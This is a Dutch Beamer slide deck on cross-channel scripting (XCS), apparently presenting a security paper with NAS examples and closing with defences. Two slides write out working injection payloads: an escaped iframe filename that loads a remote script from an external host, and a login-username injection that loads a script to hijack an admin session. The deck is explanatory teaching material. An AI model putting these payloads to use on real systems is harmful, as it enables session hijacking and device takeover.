\documentclass{beamer}
\usepackage[english,dutch]{babel}
\usepackage{url,verbatim,graphicx}

\title{The emergence of Cross Channel Scripting}
\author{Tadde\"us Kroes}

\begin{document}

\frame
{
	\titlepage
}

\frame
{
	\frametitle{Indeling}

	\tableofcontents
}

\section{Waarom XCS?}

\frame
{
	\frametitle{Waarom XCS?}

	\begin{itemize}
	    \item Ligt dicht bij de webontwikkelaar
		\item Aantal embedded web servers groeit
		\item Beveiliging groeit niet mee (26 XCS-lekken in 23 apparaten)
	\end{itemize}
}

\section{Cross Site Scripting}

\frame
{
	\frametitle{Cross Site Scripting (XSS)}

	\begin{itemize}
		\item Invoegen van scripts op een webpagina door te profiteren van
		      slechte validatie
		\item Persistent of non-persistent
	\end{itemize}
}

\frame
{
	\frametitle{Cross Site Scripting: een simpel voorbeeld}

    \begin{figure}
        \includegraphics{1-infect.png}
        \caption{Aanvaller voert een script dat de sessie uitleest}
    \end{figure}
}

\frame
{
	\frametitle{Cross Site Scripting: een simpel voorbeeld (2)}

    \begin{figure}
        \includegraphics[scale=.7]{2-visit.png}
        \caption{Gebruiker bezoekt pagina, script wordt uitgevoerd}
    \end{figure}
}

\section{Cross Channel Scripting}

\frame[containsverbatim]
{
	\frametitle{Cross Channel Scripting (XCS)}

	\begin{itemize}
		\item Infectie gaat over een non-web channel, executie over web channel:
		\begin{verbatim}
aanvaller -> non-web protocol -> non-web service
                                      |
doelwit   <-       HTTP       <- web service
		\end{verbatim}
		\item Persistent
	    \item Twee op zichzelf veilige services kunnen in samenwerking onveilig
	          zijn
	    \item Moeilijker te detecteren dan XSS
	\end{itemize}
}

\frame
{
	\frametitle{Voorbeeld XCS: FTP exploit}

    NAS is te benaderen via een web-interface, kunnen we een script
    meesturen in de bestandsnaam? \\
    \vspace{4mm}
    \textbf{Uitdagingen}
	\begin{itemize}
		\item Bestandsnaam heeft beperkte lengte
		\item Bestandsnamen kunnen geen '/' bevatten
	\end{itemize}
}

\frame[containsverbatim]
{
	\frametitle{Voorbeeld XSC: FTP exploit (2)}

    \begin{verbatim}
    <iframe onload=`javascript:document.write(
    &apos;<html><head><&#47;head><body><script src
    =&quot;http&#58;&#47;a52.us&#47;t2.js&quot;>
    <&#47;script><&#47;body><&#47;html>&apos;);'
    src='index.htm'>.pdf
    \end{verbatim}

	\begin{itemize}
	    \item Laad een extern script \url{http://a52.us/t2.js} (van
	          willekeurige lengte)
	    \item Splits eventueel over meerdere bestandsnamen
	    \item Pas HTML escaping toe om '/' te vervangen
	    \item Gebruik iframe \texttt{onload}-event voor omzeilen van
	          character set
	\end{itemize}
}

\frame[containsverbatim]
{
	\frametitle{Voorbeeld: Log-based XCS}

    Een logbestand wordt remote bekeken door een administrator. Kunnen we iets
    loggen wat op dat moment wordt uitgevoerd?

    \begin{enumerate}
        \item
        Probeer in te loggen met gebruikersnaam:
        \begin{verbatim}
r","","");\\/--></script>
<script src="http://xxx"></script>
        \end{verbatim}
        Gebruikersnaam is incorrect, maar wordt wel gelogd
        \item Admin logt in en bekijkt het logbestand, script wordt uitgevoerd
        \item Script heeft beschikking over admin's sessie en voegt een nieuwe
              admin toe
    \end{enumerate}
}

\frame
{
	\frametitle{Voorbeeld: Log-based XCS (2)}

    \begin{figure}
        \includegraphics[width=200pt]{3-log.png}
        \caption{Malafide code in een logbestand}
    \end{figure}
}

\section{Reverse XCS}

\frame[containsverbatim]
{
	\frametitle{Reverse XCS (RXCS)}

	\begin{itemize}
		\item Infectie over web channel, executie over non-web channel
		\begin{verbatim}
doelwit   <- non-web protocol <- non-web service
                                      |
aanvaller ->       HTTP       -> web service
		\end{verbatim}
	\end{itemize}
}

\frame
{
	\frametitle{Voorbeeld: Reverse XCS in torrent}

    NAS download torrent van een webserver, de bestandsnamen in de torrent
    bevatten een script.

    \begin{enumerate}
		\item Torrent bevat lijst van bestanden $\rightarrow$ verspreid script
		      over meerdere bestandsnamen
		\item Gebruiker bezoekt torrent service van NAS en download de torrent
		\item Torrent informatie en bestandslijst worden gelezen, script wordt
		      uitgevoerd
        \item Script kan nu bijv. torrents seeden of stelen van data
	\end{itemize}
}

\frame
{
	\frametitle{RESTful API's}

	\begin{itemize}
		\item Probleem: derde partij verwacht ``veilige'' data, cloud service
		      stuurt ``raw'' data
		\item Twitter: escape at input time $\rightarrow$ derde partij
		      moet unescapen voor eigen format $\rightarrow$ foutgevoelig
		\item Facebook: escape at display time $\rightarrow$ derde
		      partij moet zelf escapen, dit gebeurt soms niet
	\end{itemize}
}

\section{Beveiliging}

\frame
{
	\frametitle{Beveiliging}

	\begin{itemize}
		\item Encoding/escaping
		\item Statische analyse van onvertrouwde HTML-uitvoer
		\item Flow analysis
		\item Extra validatie bovenop cookies
		\item Blokkeren van scripts door gebruiker
	\end{itemize}
}

\section{Conclusie}

\frame
{
	\frametitle{Conclusie}

	\begin{itemize}
		\item Beveiliging tegen XCS is vaak slecht. \\
		      De oorzaak van dit probleem ligt bij fabrikanten en
		       webontwikkelaars.
	\end{itemize}
}

\frame
{
	\frametitle{Meer informatie}

	\begin{itemize}
        \item Artikel: \emph{``The Emergence of Cross Channel Scripting''} door
              Hristo Bojinov, Elie Bursztein en Dan Boneh
		\item \url{http://en.wikipedia.org/wiki/Cross-site\_scripting}
		\item Vragen?
	\end{itemize}
}

\end{document}
